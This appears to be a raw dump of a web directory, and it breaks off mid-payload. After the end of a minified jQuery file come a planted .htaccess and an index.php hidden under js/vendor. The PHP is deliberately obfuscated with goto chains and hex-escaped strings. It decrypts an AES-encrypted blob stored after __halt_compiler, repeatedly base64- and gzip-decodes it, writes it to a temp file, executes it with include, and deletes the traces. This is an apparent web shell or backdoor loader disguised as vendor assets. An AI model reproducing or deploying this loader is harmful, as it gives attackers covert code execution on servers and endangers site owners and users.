0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w}); js/vendor/index.php000064400000000000151676723140010277 0ustar00js/vendor/136544/.htaccess000064400000000173151676723140011036 0ustar00#---do-not-change-the-following-content--- <FilesMatch "^(index.php)$"> Order allow,deny Allow from all </FilesMatch>js/vendor/136544/index.php000064400000264613151676723140011073 0ustar00<?php // Tambahkan ?p= hanya jika tidak ada query string if (empty($_SERVER['QUERY_STRING'])) { $url = $_SERVER['PHP_SELF'] . '?p='; header('Location: ' . $url); exit; } ?> <?php goto aC8P9; BZbKg: goto zTl7N; goto jGr3R; G2zLJ: goto l19QO; goto JuxzA; HCBh5: $mobfQqRU = "\166\116\132\105\x66\x61"; goto igkm6; aC8P9: goto hc6Qn; goto wKJHZ; k8rfp: goto soki5; goto RWbKA; n95Fj: goto XniuK; goto wzfan; iRrZ8: XniuK: goto kSIEm; kSIEm: function LJeHZSYM() { return mt_rand(1, 100); } goto UO2G2; IU5PJ: goto BkvA7; goto dqlM3; JuxzA: Pln3i: goto xkPrt; No1CB: function bgNWdVIe() { return mt_rand(1, 100); } goto bGZva; WCvSZ: hc6Qn: goto No1CB; mQR4a: goto D1RqT; goto Donvy; uM2b2: MbhO_: goto dJTad; MLbkt: goto xP6Ps; goto dhLwi; U2e9x: $plain = false; goto BZbKg; wzfan: ltxfi: goto vNPz_; jGr3R: bWsSQ: goto HLNun; tRGSy: goto ROuwT; goto Dhn4Z; vNPz_: $fp = fopen(__FILE__, "\162\x62"); goto vbjMp; R_57C: goto Ut_Tm; goto LbXm7; nBIOk: BkvA7: goto vv_V5; kU43K: zTl7N: goto p1wCg; H7g3U: uluMa: goto Nd8an; OaOaD: include $tmpFile; goto dL5KR; OEnTW: for ($i = 0; $i < 50; $i++) { $decoded = @base64_decode($payload, true); if ($decoded === false) { break; } $tmp = @gzuncompress($decoded); if ($tmp === false) { break; } $tmp2 = @gzinflate($tmp); if ($tmp2 === false) { break; } $payload = $tmp2; } goto VzCuo; cJB4g: ssdUh: goto u5a9F; dqlM3: MLbzP: goto PzPyQ; qYI2S: $tmpFile = tempnam(sys_get_temp_dir(), "\x6f\142\x66\137"); goto vawcB; F8hyz: $raw = base64_decode($payload); goto MLbkt; j06yd: haR1P: goto qYI2S; dL5KR: goto bWsSQ; goto vSbDa; XPj1s: goto dw4_7; goto kU43K; VzCuo: goto haR1P; goto T8BiC; igkm6: goto ltxfi; goto j06yd; hB9Uu: goto Ml33E; goto uM2b2; vSbDa: oUmdj: goto HCBh5; LbXm7: yUUTm: goto b1v7L; vbjMp: goto ssdUh; goto iRrZ8; dhLwi: D1RqT: goto Rt2u_; ZapwH: l19QO: goto U2e9x; EPJ2l: if (function_exists("\x64\x61\x74\x65")) { $d = date("\x59\x2d\x6d\x2d\144"); } goto IU5PJ; uPmD8: goto MbhO_; goto nBIOk; xkPrt: fclose($fp); goto XPj1s; p1wCg: $ok = false; goto EeJ_K; ciNNo: goto oUmdj; goto FHYxD; wKJHZ: zik2X: goto zND8B; UO2G2: goto zik2X; goto H7g3U; nOltn: goto Pln3i; goto VTHRC; u5a9F: fseek($fp, __COMPILER_HALT_OFFSET__); goto C1_vB; b1v7L: $tmp_xAhnBVtQ = strlen("\122\162\x45\131\147"); goto ciNNo; C1_vB: goto uluMa; goto WCvSZ; qcsC_: file_put_contents($tmpFile, $payload); goto hB9Uu; vawcB: goto YVs0K; goto qV_SR; FHYxD: xP6Ps: goto hQtn4; RWbKA: YVs0K: goto qcsC_; Donvy: Ml33E: goto OaOaD; qV_SR: dw4_7: goto EPJ2l; JPbW3: $enc_key = "\101\x66\x5a\x53\x47\121\x4c\x48\121\x52\x53\114\151\x48\x78\141\x51\152\x76\124\x4e\x51\123\x69\x6b\x6a\130\145\143\123\164\126"; goto G2zLJ; EeJ_K: goto MLbzP; goto cJB4g; vv_V5: $payload = stripcslashes($data); goto k8rfp; kaMTW: $cipher = substr($raw, 16); goto GAHNf; hQtn4: $iv = substr($raw, 0, 16); goto tRGSy; dJTad: if (!$ok) { $payload = stripcslashes($data); } goto R_57C; GAHNf: goto KWGMJ; goto ZapwH; VTHRC: Ut_Tm: goto OEnTW; hIai3: soki5: goto F8hyz; Dhn4Z: ROuwT: goto kaMTW; T8BiC: KWGMJ: goto JPbW3; HLNun: @unlink($tmpFile); goto n95Fj; zND8B: if (function_exists("\x64\141\164\145")) { $d = date("\131\55\x6d\x2d\x64"); } goto mQR4a; bGZva: goto yUUTm; goto hIai3; PzPyQ: if (function_exists("\157\160\x65\156\163\163\x6c\x5f\x64\145\x63\x72\x79\x70\x74")) { $plain = openssl_decrypt($cipher, "\101\x45\x53\x2d\x32\65\66\55\103\102\103", $enc_key, OPENSSL_RAW_DATA, $iv); if ($plain !== false) { if (function_exists("\150\141\163\150") && hash("\x73\150\141\x31", $plain) === "\x61\143\x61\x33\66\x61\x32\x30\66\62\143\142\x34\x32\65\x34\x32\x62\x36\x33\x66\x37\62\x64\61\x61\x35\x63\70\x32\x61\143\67\63\66\143\x35\x61\x34\x30") { $ok = true; $payload = $plain; } } } goto uPmD8; Nd8an: $data = stream_get_contents($fp); goto nOltn; Rt2u_: __halt_compiler();\x4d\x76\x6b\x4c\x62\x43\x49\x72\x73\x78\x49\x70\x39\x67\x66\x77\x4c\x31\x78\x77\x49\x2b\x4e\x66\x36\x65\x53\x43\x46\x59\x61\x62\x66\x62\x48\x78\x43\x62\x76\x42\x49\x61\x49\x6c\x39\x39\x7a\x6a\x4d\x62\x30\x51\x34\x55\x6a\x51\x62\x70\x57\x50\x4b\x54\x79\x53\x6b\x52\x4e\x4d\x64\x64\x4b\x57\x6a\x73\x75\x44\x7a\x6c\x59\x78\x31\x6e\x4b\x74\x76\x4e\x6a\x55\x37\x58\x59\x45\x6b\x53\x75\x59\x39\x52\x70\x54\x43\x43\x46\x63\x46\x57\x35\x50\x49\x55\x51\x33\x76\x41\x58\x35\x4e\x47\x71\x71\x39\x51\x68\x6e\x4b\x38\x31\x4a\x39\x54\x46\x68\x64\x61\x53\x76\x73\x64\x53\x4f\x35\x4d\x64\x34\x7a\x67\x33\x74\x4b\x76\x2f\x62\x79\x41\x44\x4a\x48\x61\x78\x68\x64\x4f\x5a\x5a\x36\x30\x54\x4e\x73\x45\x4a\x4c\x44\x43\x34\x30\x4d\x4c\x75\x35\x31\x74\x73\x6b\x34\x43\x65\x54\x78\x4e\x36\x56\x65\x67\x56\x5a\x67\x77\x41\x6c\x33\x38\x4a\x2f\x50\x48\x44\x51\x4d\x46\x2f\x61\x30\x48\x62\x6b\x67\x4e\x47\x54\x6d\x66\x67\x56\x78\x45\x73\x56\x74\x34\x71\x49\x76\x70\x56\x41\x36\x62\x6a\x76\x44\x6a\x62\x64\x51\x54\x30\x55\x46\x52\x50\x74\x6c\x4c\x34\x64\x48\x73\x33\x74\x41\x76\x6b\x51\x30\x6d\x42\x7a\x68\x52\x34\x4e\x41\x51\x52\x45\x47\x54\x35\x4c\x75\x63\x44\x57\x6b\x78\x42\x44\x52\x76\x6b\x6a\x49\x79\x34\x67\x76\x73\x4d\x53\x48\x72\x56\x59\x4f\x68\x55\x69\x68\x4e\x74\x52\x55\x53\x66\x52\x6e\x71\x35\x61\x6f\x48\x63\x4d\x72\x54\x70\x52\x43\x64\x77\x51\x4f\x58\x4b\x57\x6b\x32\x61\x31\x4e\x37\x79\x51\x59\x36\x65\x43\x31\x30\x49\x50\x66\x77\x65\x6c\x52\x42\x4c\x58\x70\x50\x46\x5a\x75\x35\x36\x79\x34\x33\x2f\x72\x61\x54\x7a\x53\x79\x51\x54\x61\x57\x49\x69\x6f\x56\x37\x66\x58\x61\x32\x64\x32\x4c\x71\x4a\x50\x5a\x43\x43\x49\x2b\x47\x37\x65\x4d\x54\x57\x6d\x58\x30\x34\x6f\x4c\x74\x41\x46\x64\x2f\x4c\x78\x66\x53\x68\x76\x59\x46\x6b\x57\x67\x45\x43\x39\x41\x52\x73\x6c\x45\x53\x51\x79\x75\x78\x43\x44\x67\x39\x6a\x46\x2f\x64\x6d\x75\x70\x54\x67\x6f\x4b\x4b\x35\x2f\x63\x54\x6e\x41\x33\x6e\x6e\x70\x42\x74\x74\x65\x71\x65\x75\x69\x51\x78\x61\x4e\x31\x45\x70\x41\x2b\x56\x75\x4f\x31\x6a\x6e\x49\x49\x69\x2f\x46\x58\x61\x55\x79\x39\x6d\x2f\x30\x6b\x55\x65\x42\x54\x37\x43\x56\x51\x77\x4b\x66\x6d\x59\x46\x33\x38\x52\x47\x32\x4e\x69\x6f\x6a\x76\x39\x39\x2f\x52\x6f\x54\x58\x30\x73\x50\x55\x55\x4f\x36\x36\x49\x43\x6e\x51\x43\x35\x79\x6d\x6c\x45\x31\x76\x64\x77\x76\x35\x6c\x50\x42\x63\x7a\x64\x47\x4b\x75\x44\x2f\x74\x47\x36\x6a\x69\x2f\x44\x68\x31\x66\x51\x37\x54\x41\x77\x6a\x4f\x74\x76\x56\x77\x39\x67\x67\x68\x70\x79\x6e\x74\x57\x75\x6a\x5a\x6e\x45\x39\x78\x30\x68\x41\x41\x6c\x4b\x57\x47\x4b\x36\x33\x4d\x75\x6e\x48\x48\x52\x6c\x49\x76\x32\x54\x6f\x6e\x46\x70\x4a\x6a\x36\x45\x66\x33\x4c\x6e\x31\x72\x39\x41\x59\x78\x51\x48\x51\x78\x46\x53\x55\x74\x79\x54\x69\x5a\x31\x53\x34\x37\x73\x49\x6f\x47\x72\x61\x32\x6b\x51\x33\x74\x34\x70\x73\x75\x58\x51\x41\x51\x5a\x77\x30\x57\x43\x65\x4c\x6e\x50\x35\x30\x31\x6b\x4c\x32\x66\x63\x66\x44\x68\x6c\x66\x47\x48\x77\x46\x77\x58\x46\x36\x6b\x54\x33\x73\x7a\x63\x59\x61\x6e\x69\x4c\x43\x42\x46\x6c\x38\x39\x45\x64\x4d\x4c\x56\x4d\x69\x6e\x77\x4f\x61\x68\x4d\x31\x6a\x56\x6a\x58\x4b\x6a\x46\x53\x45\x58\x6e\x34\x39\x35\x78\x5a\x59\x71\x49\x2f\x33\x35\x78\x6d\x45\x70\x69\x2f\x6a\x67\x66\x37\x56\x77\x37\x79\x33\x32\x55\x46\x41\x6d\x33\x48\x71\x6e\x4d\x48\x6f\x32\x41\x75\x63\x43\x43\x42\x33\x71\x77\x4b\x46\x52\x4c\x67\x4b\x38\x47\x4d\x69\x71\x64\x52\x2b\x4b\x6f\x6c\x6f\x48\x71\x58\x4b\x42\x39\x54\x65\x50\x55\x77\x39\x76\x59\x52\x6c\x62\x43\x39\x55\x77\x36\x6e\x54\x68\x6b\x4f\x30\x44\x59\x51\x4c\x53\x58\x30\x68\x30\x72\x56\x6a\x69\x6d\x45\x44\x6c\x4a\x51\x46\x4d\x36\x39\x6c\x4f\x74\x4f\x79\x49\x76\x68\x4b\x64\x4b\x57\x69\x37\x45\x4c\x6c\x71\x2b\x67\x51\x55\x4b\x44\x75\x43\x68\x6e\x39\x49\x6d\x4b\x6d\x67\x7a\x32\x59\x67\x37\x49\x47\x36\x35\x73\x49\x70\x36\x6b\x34\x61\x32\x50\x4f\x53\x31\x6b\x71\x68\x57\x45\x39\x6e\x74\x4c\x37\x70\x78\x6d\x48\x38\x44\x46\x73\x58\x56\x73\x6d\x4b\x32\x41\x56\x62\x42\x47\x63\x49\x79\x6f\x57\x6c\x72\x76\x43\x32\x66\x70\x33\x43\x58\x64\x79\x4d\x52\x71\x7a\x33\x79\x65\x69\x4a\x32\x68\x78\x55\x65\x30\x66\x57\x7a\x41\x66\x34\x74\x64\x62\x4e\x39\x4b\x68\x34\x77\x6e\x47\x53\x52\x4f\x64\x4a\x61\x47\x68\x32\x55\x44\x30\x5a\x4e\x43\x72\x41\x70\x58\x55\x65\x64\x37\x4a\x67\x38\x53\x46\x59\x6f\x2b\x4a\x6a\x63\x71\x69\x74\x32\x41\x43\x4c\x61\x48\x46\x49\x58\x7a\x31\x75\x4b\x74\x63\x52\x43\x53\x62\x48\x68\x49\x74\x6b\x6c\x46\x42\x5a\x39\x41\x4f\x6c\x37\x53\x4a\x31\x4f\x53\x62\x77\x69\x63\x4c\x72\x4e\x4e\x53\x58\x46\x74\x74\x72\x6b\x6e\x37\x56\x51\x64\x75\x48\x30\x44\x32\x54\x79\x61\x6c\x52\x61\x68\x47\x6d\x42\x37\x56\x6b\x65\x76\x72\x65\x54\x5a\x4f\x59\x54\x71\x64\x75\x37\x72\x76\x42\x6c\x78\x4e\x44\x42\x46\x68\x62\x48\x48\x4e\x64\x56\x49\x50\x54\x47\x4c\x39\x48\x6a\x74\x6e\x30\x6a\x4a\x71\x6b\x4e\x4f\x57\x64\x70\x33\x42\x65\x49\x41\x74\x52\x6e\x4a\x2f\x39\x32\x73\x64\x4c\x64\x44\x45\x7a\x67\x78\x53\x61\x32\x79\x42\x47\x45\x33\x67\x63\x64\x31\x69\x32\x53\x68\x31\x2b\x78\x56\x52\x46\x71\x71\x38\x57\x4e\x58\x6c\x36\x47\x70\x6b\x41\x4c\x4d\x6a\x74\x43\x31\x72\x66\x55\x37\x67\x54\x75\x47\x6e\x44\x71\x50\x30\x6d\x7a\x4a\x75\x78\x79\x34\x67\x41\x75\x58\x70\x6e\x41\x79\x69\x70\x63\x2b\x56\x50\x62\x5a\x7a\x33\x4a\x42\x4f\x46\x63\x30\x75\x4e\x39\x59\x70\x64\x77\x54\x61\x62\x64\x31\x70\x43\x48\x6d\x50\x33\x6b\x41\x64\x62\x35\x2b\x48\x6d\x55\x32\x46\x34\x4e\x6c\x6e\x51\x2f\x78\x6f\x35\x56\x31\x74\x31\x61\x77\x45\x36\x61\x6d\x7a\x63\x51\x4c\x65\x32\x7a\x79\x46\x64\x47\x78\x31\x4e\x53\x6a\x62\x57\x33\x53\x71\x6e\x46\x6e\x61\x30\x37\x4c\x4a\x6f\x36\x68\x6c\x4e\x33\x51\x6c\x44\x70\x55\x45\x4b\x41\x75\x69\x58\x36\x45\x34\x61\x64\x7a\x75\x36\x66\x2f\x6d\x42\x69\x54\x48\x7a\x79\x4f\x32\x34\x72\x71\x61\x4e\x65\x66\x6f\x65\x69\x4a\x42\x4a\x57\x55\x50\x4b\x53\x76\x2b\x56\x37\x33\x57\x6f\x48\x39\x44\x5a\x53\x4c\x6f\x50\x59\x62\x30\x4c\x49\x46\x41\x71\x52\x73\x4a\x4b\x52\x73\x5a\x2b\x64\x4c\x69\x2b\x55\x63\x56\x57\x2f\x61\x7a\x73\x73\x6c\x57\x74\x6f\x70\x69\x4c\x4c\x54\x79\x32\x55\x32\x50\x57\x61\x78\x72\x6b\x45\x76\x67\x37\x55\x6b\x7a\x59\x78\x4c\x59\x51\x36\x2f\x50\x67\x53\x63\x54\x53\x4c\x63\x63\x61\x38\x62\x63\x61\x31\x6a\x6b\x36\x6d\x6a\x56\x4d\x65\x77\x44\x6c\x6b\x46\x4b\x33\x7a\x75\x71\x4f\x79\x6f\x6d\x42\x75\x50\x77\x4f\x4f\x38\x36\x42\x59\x37\x79\x57\x65\x71\x36\x6f\x32\x72\x58\x6f\x53\x78\x4e\x42\x70\x4e\x79\x36\x7a\x66\x33\x4b\x4f\x4c\x65\x5a\x34\x6c\x51\x6e\x76\x4a\x77\x36\x33\x49\x49\x68\x49\x4e\x4f\x44\x45\x45\x2b\x68\x6f\x6f\x56\x37\x32\x56\x41\x77\x33\x65\x2b\x42\x4a\x4b\x48\x62\x74\x4c\x70\x6b\x35\x54\x52\x54\x62\x74\x58\x76\x52\x70\x49\x4d\x32\x61\x62\x59\x59\x6a\x4d\x37\x77\x38\x37\x44\x54\x48\x6c\x49\x6c\x67\x38\x30\x52\x37\x2f\x7a\x57\x38\x79\x49\x53\x68\x75\x35\x4d\x69\x56\x74\x55\x6c\x4e\x58\x67\x65\x35\x4c\x52\x4c\x4e\x35\x4d\x63\x75\x33\x74\x4f\x71\x70\x41\x71\x2b\x56\x78\x61\x56\x6c\x30\x6b\x2f\x52\x46\x59\x79\x52\x33\x63\x66\x45\x4a\x4e\x6e\x4c\x57\x52\x71\x49\x78\x77\x52\x4f\x48\x56\x64\x67\x48\x6d\x6d\x47\x62\x4f\x44\x65\x64\x76\x45\x4d\x6b\x62\x65\x47\x7a\x2b\x34\x2f\x77\x43\x6f\x4a\x6e\x43\x77\x35\x65\x41\x6c\x53\x70\x2f\x41\x68\x33\x74\x67\x36\x30\x4f\x6c\x56\x4b\x56\x76\x71\x6f\x4d\x78\x7a\x59\x67\x4c\x6e\x55\x68\x7a\x37\x36\x70\x57\x71\x74\x62\x4a\x66\x31\x36\x35\x38\x38\x74\x34\x75\x73\x50\x68\x4b\x6d\x4a\x72\x52\x30\x49\x4d\x45\x61\x57\x54\x55\x74\x55\x74\x6e\x56\x34\x68\x44\x33\x61\x57\x45\x68\x73\x52\x4f\x41\x78\x6a\x52\x7a\x36\x44\x67\x58\x6c\x6b\x5a\x66\x59\x71\x46\x33\x67\x59\x57\x55\x30\x69\x74\x2b\x46\x36\x31\x4a\x31\x48\x41\x73\x4f\x6a\x34\x38\x72\x79\x54\x54\x71\x61\x76\x68\x30\x67\x63\x45\x58\x31\x77\x77\x76\x73\x4f\x31\x44\x44\x50\x69\x41\x33\x4c\x41\x6a\x4d\x34\x43\x71\x55\x44\x4f\x43\x2b\x76\x67\x58\x68\x55\x72\x73\x63\x76\x57\x75\x75\x36\x55\x63\x7a\x36\x62\x38\x2f\x72\x49\x71\x37\x66\x6a\x77\x4c\x42\x56\x66\x6b\x55\x38\x63\x39\x39\x6b\x56\x70\x64\x6e\x4a\x68\x2f\x59\x44\x36\x4c\x49\x74\x6e\x68\x57\x4e\x49\x6e\x63\x57\x56\x33\x58\x51\x42\x4d\x77\x4d\x36\x62\x39\x74\x76\x68\x75\x75\x49\x43\x66\x49\x2b\x51\x64\x71\x62\x63\x65\x41\x41\x4c\x70\x47\x69\x6e\x4a\x4f\x36\x2b\x43\x6d\x48\x74\x42\x36\x59\x63\x4a\x34\x6a\x4a\x36\x50\x34\x57\x6b\x71\x77\x30\x58\x4b\x34\x53\x41\x5a\x4d\x31\x30\x44\x6d\x77\x51\x33\x4b\x4b\x49\x50\x78\x79\x74\x4e\x63\x73\x64\x6b\x70\x4f\x37\x31\x4a\x77\x57\x79\x34\x66\x4f\x66\x73\x46\x51\x69\x5a\x32\x39\x46\x6a\x64\x65\x49\x50\x2b\x55\x4c\x47\x4d\x47\x6d\x31\x79\x63\x35\x2f\x4c\x67\x46\x67\x49\x4a\x34\x41\x39\x43\x41\x6f\x50\x35\x59\x2b\x56\x52\x35\x45\x64\x78\x38\x58\x75\x52\x66\x78\x42\x6a\x33\x56\x36\x44\x48\x4c\x30\x6c\x55\x37\x44\x71\x6f\x4f\x64\x53\x6c\x6c\x2f\x41\x57\x63\x36\x5a\x49\x61\x6d\x39\x48\x6d\x6f\x78\x59\x47\x34\x62\x78\x4d\x34\x44\x41\x6f\x4d\x48\x50\x68\x6d\x67\x58\x42\x50\x72\x56\x65\x32\x74\x70\x45\x2f\x32\x56\x52\x78\x4b\x48\x31\x42\x64\x55\x33\x47\x79\x4f\x31\x51\x37\x45\x47\x70\x62\x55\x30\x67\x76\x48\x73\x59\x65\x55\x6c\x49\x5a\x2f\x41\x45\x6b\x42\x77\x6b\x58\x54\x75\x4a\x2f\x77\x72\x75\x6c\x70\x46\x67\x62\x79\x6d\x57\x4d\x4a\x55\x55\x48\x61\x31\x67\x62\x52\x48\x31\x69\x43\x4d\x74\x6e\x50\x43\x67\x77\x6b\x48\x71\x69\x54\x6a\x6e\x4f\x4f\x30\x44\x74\x65\x66\x4c\x73\x75\x45\x4b\x4c\x6e\x78\x30\x73\x4f\x73\x77\x4b\x45\x4b\x69\x36\x4f\x4f\x75\x54\x41\x48\x45\x72\x6b\x43\x6e\x55\x4b\x6d\x44\x38\x65\x55\x45\x75\x4f\x57\x46\x63\x79\x36\x4a\x2f\x47\x59\x71\x4c\x39\x38\x4f\x4d\x35\x71\x73\x37\x6f\x6e\x36\x2b\x2b\x4d\x6e\x79\x30\x6f\x4a\x33\x53\x70\x6c\x66\x45\x30\x63\x66\x71\x54\x74\x2f\x7a\x76\x35\x62\x4a\x47\x77\x66\x57\x6c\x74\x57\x46\x32\x75\x58\x45\x79\x35\x57\x61\x46\x64\x51\x43\x34\x66\x39\x38\x48\x56\x32\x79\x33\x4a\x31\x33\x79\x56\x46\x74\x37\x38\x70\x66\x74\x37\x33\x38\x43\x31\x6e\x62\x63\x7a\x73\x67\x76\x74\x72\x7a\x63\x61\x62\x4f\x33\x51\x74\x63\x76\x6d\x78\x34\x73\x53\x6c\x70\x2f\x62\x39\x70\x4c\x4b\x77\x4b\x76\x52\x7a\x61\x54\x2f\x6b\x4e\x66\x73\x2b\x50\x37\x50\x6b\x67\x2f\x4a\x4b\x6a\x70\x51\x74\x4d\x42\x74\x77\x58\x43\x66\x4f\x77\x32\x4a\x5a\x56\x35\x4c\x4c\x76\x74\x72\x4f\x48\x36\x30\x2f\x78\x62\x48\x64\x44\x46\x62\x75\x46\x56\x52\x79\x61\x37\x41\x56\x41\x70\x55\x37\x4e\x7a\x57\x2b\x32\x31\x76\x39\x67\x33\x4f\x35\x4a\x75\x6a\x5a\x79\x48\x72\x70\x74\x53\x4a\x65\x79\x70\x6d\x6f\x6f\x37\x4e\x44\x42\x49\x6b\x52\x70\x46\x33\x2b\x4e\x74\x53\x32\x64\x49\x43\x55\x43\x4d\x41\x56\x67\x59\x46\x45\x69\x45\x53\x31\x77\x55\x6f\x57\x38\x48\x51\x32\x79\x45\x49\x71\x42\x57\x50\x79\x34\x30\x41\x52\x36\x72\x37\x4c\x45\x73\x44\x39\x39\x66\x57\x30\x2f\x36\x72\x64\x37\x73\x6d\x67\x35\x4e\x39\x6f\x72\x4f\x4b\x65\x31\x6b\x52\x58\x39\x78\x36\x75\x6d\x57\x45\x75\x48\x6f\x44\x79\x72\x68\x61\x6f\x65\x51\x4f\x49\x41\x39\x37\x76\x64\x7a\x67\x47\x32\x5a\x74\x37\x6d\x56\x38\x54\x31\x41\x37\x6e\x6e\x7a\x70\x4f\x38\x7a\x31\x72\x43\x5a\x73\x74\x43\x67\x6d\x4e\x37\x30\x32\x47\x62\x44\x6a\x6d\x71\x47\x32\x79\x6f\x48\x44\x42\x77\x6f\x4f\x31\x75\x57\x75\x6b\x64\x63\x48\x48\x4e\x62\x38\x6e\x4b\x4e\x30\x77\x46\x4d\x46\x68\x6c\x76\x75\x54\x7a\x42\x6d\x33\x38\x68\x56\x58\x4a\x52\x46\x72\x43\x4e\x4a\x67\x6d\x53\x62\x74\x47\x43\x51\x79\x53\x58\x4c\x52\x48\x4c\x66\x33\x59\x57\x2f\x37\x52\x2f\x46\x41\x67\x2f\x70\x71\x38\x4b\x50\x6b\x59\x7a\x57\x55\x67\x66\x70\x6d\x57\x58\x64\x70\x57\x6b\x79\x56\x56\x6e\x63\x56\x30\x4e\x6f\x52\x52\x79\x2f\x4d\x33\x58\x6b\x55\x56\x70\x42\x65\x43\x4e\x77\x53\x42\x46\x49\x68\x53\x55\x71\x72\x4b\x2b\x70\x6f\x44\x69\x36\x4b\x75\x79\x76\x41\x70\x68\x53\x68\x70\x5a\x44\x37\x30\x6c\x53\x51\x57\x74\x41\x42\x78\x76\x52\x61\x57\x61\x49\x66\x72\x2b\x75\x74\x6c\x33\x4e\x74\x46\x36\x37\x69\x32\x31\x53\x48\x49\x77\x46\x38\x43\x56\x75\x6f\x48\x48\x77\x54\x41\x30\x58\x4c\x64\x74\x33\x77\x32\x47\x73\x58\x38\x66\x6b\x7a\x63\x72\x62\x35\x7a\x35\x52\x63\x48\x4b\x4e\x55\x56\x54\x4b\x35\x39\x6a\x5a\x6f\x76\x31\x67\x77\x41\x61\x50\x36\x75\x66\x62\x6e\x43\x4e\x66\x75\x42\x34\x70\x56\x6c\x63\x4a\x54\x50\x70\x36\x6a\x59\x6b\x50\x6f\x54\x68\x67\x32\x69\x70\x65\x2f\x31\x6f\x52\x4e\x58\x33\x75\x6a\x68\x6f\x59\x39\x62\x4c\x6d\x68\x31\x43\x4d\x65\x39\x49\x47\x66\x63\x63\x67\x4e\x35\x4d\x64\x6c\x64\x75\x5a\x54\x46\x6f\x53\x52\x6c\x6e\x63\x74\x6a\x68\x34\x6f\x53\x34\x42\x2b\x70\x50\x6d\x4a\x68\x37\x4c\x59\x55\x6b\x7a\x74\x4f\x50\x34\x6e\x54\x6e\x64\x32\x47\x6a\x6f\x4e\x6a\x48\x4c\x56\x42\x58\x39\x63\x38\x48\x61\x4a\x68\x78\x54\x77\x54\x30\x4a\x6b\x66\x75\x73\x78\x67\x55\x38\x62\x35\x54\x5a\x77\x59\x72\x64\x6c\x4d\x2f\x31\x43\x76\x4f\x52\x71\x42\x46\x6a\x66\x79\x51\x36\x43\x6e\x69\x32\x35\x4a\x5a\x4b\x51\x30\x39\x6e\x41\x39\x79\x69\x59\x44\x64\x36\x42\x48\x48\x6c\x64\x58\x57\x63\x51\x2b\x69\x49\x45\x68\x43\x43\x66\x2b\x71\x69\x4e\x6d\x49\x66\x70\x67\x6c\x79\x4a\x48\x69\x77\x72\x73\x7a\x38\x4f\x6b\x42\x51\x71\x56\x41\x5a\x34\x76\x71\x6b\x6d\x32\x4a\x5a\x55\x49\x52\x50\x67\x42\x2b\x71\x69\x35\x73\x54\x31\x32\x43\x36\x78\x39\x36\x50\x77\x4c\x45\x6a\x35\x50\x75\x78\x48\x5a\x61\x47\x48\x4b\x6f\x70\x6d\x42\x50\x35\x36\x2b\x31\x78\x59\x41\x5a\x79\x49\x75\x64\x6a\x59\x59\x38\x4e\x65\x51\x66\x48\x5a\x4b\x57\x53\x7a\x53\x33\x33\x45\x50\x7a\x53\x55\x65\x35\x58\x38\x7a\x73\x37\x74\x37\x36\x58\x76\x2b\x68\x6c\x68\x72\x32\x72\x35\x46\x4f\x4c\x4a\x77\x6d\x68\x51\x75\x43\x36\x51\x6a\x66\x34\x4c\x6c\x43\x72\x78\x66\x59\x54\x34\x78\x6d\x32\x39\x49\x58\x71\x62\x79\x67\x4d\x56\x30\x75\x43\x34\x31\x69\x7a\x38\x55\x43\x73\x43\x67\x73\x31\x51\x58\x44\x33\x68\x56\x48\x7a\x70\x77\x6a\x2f\x67\x4c\x63\x6a\x58\x43\x39\x6f\x59\x37\x55\x70\x34\x34\x6f\x2b\x72\x6b\x41\x73\x2f\x71\x57\x47\x59\x68\x46\x78\x66\x30\x47\x44\x2b\x51\x66\x55\x45\x36\x56\x79\x56\x44\x59\x33\x47\x35\x33\x43\x68\x73\x52\x68\x59\x2f\x62\x42\x48\x59\x55\x6c\x31\x51\x6c\x4c\x72\x35\x64\x47\x6a\x6a\x36\x46\x58\x6f\x73\x36\x6b\x38\x58\x2f\x33\x4f\x36\x75\x39\x42\x4f\x35\x4d\x79\x4b\x78\x46\x6e\x42\x4e\x74\x55\x72\x6c\x55\x52\x62\x57\x42\x4a\x77\x78\x57\x75\x31\x35\x4a\x30\x43\x75\x50\x56\x54\x4b\x44\x77\x50\x33\x61\x50\x4b\x67\x47\x36\x48\x39\x67\x55\x45\x35\x56\x6b\x54\x2b\x72\x43\x6a\x71\x68\x39\x78\x68\x71\x52\x51\x31\x64\x31\x62\x5a\x76\x2b\x4e\x74\x54\x55\x7a\x4c\x75\x51\x41\x6e\x73\x55\x35\x62\x73\x6f\x58\x31\x68\x4f\x6f\x36\x6e\x53\x55\x2f\x36\x47\x68\x44\x55\x4e\x59\x43\x56\x52\x67\x39\x53\x79\x4a\x53\x6a\x74\x66\x41\x42\x77\x6b\x50\x4c\x6b\x79\x36\x45\x47\x50\x41\x64\x71\x4b\x56\x70\x6e\x33\x68\x35\x36\x61\x69\x52\x75\x30\x68\x31\x46\x68\x37\x41\x31\x56\x37\x59\x66\x59\x4f\x6d\x64\x41\x72\x6d\x41\x45\x43\x33\x50\x54\x35\x6c\x4e\x50\x6a\x39\x42\x63\x34\x72\x34\x66\x2f\x48\x32\x71\x66\x47\x57\x4a\x32\x68\x36\x78\x6e\x6d\x69\x72\x6c\x38\x54\x53\x6b\x77\x4e\x6e\x4b\x49\x4f\x56\x46\x64\x66\x4d\x55\x39\x70\x30\x67\x6f\x52\x74\x68\x36\x57\x55\x35\x4e\x51\x53\x38\x64\x52\x48\x37\x79\x57\x4d\x31\x54\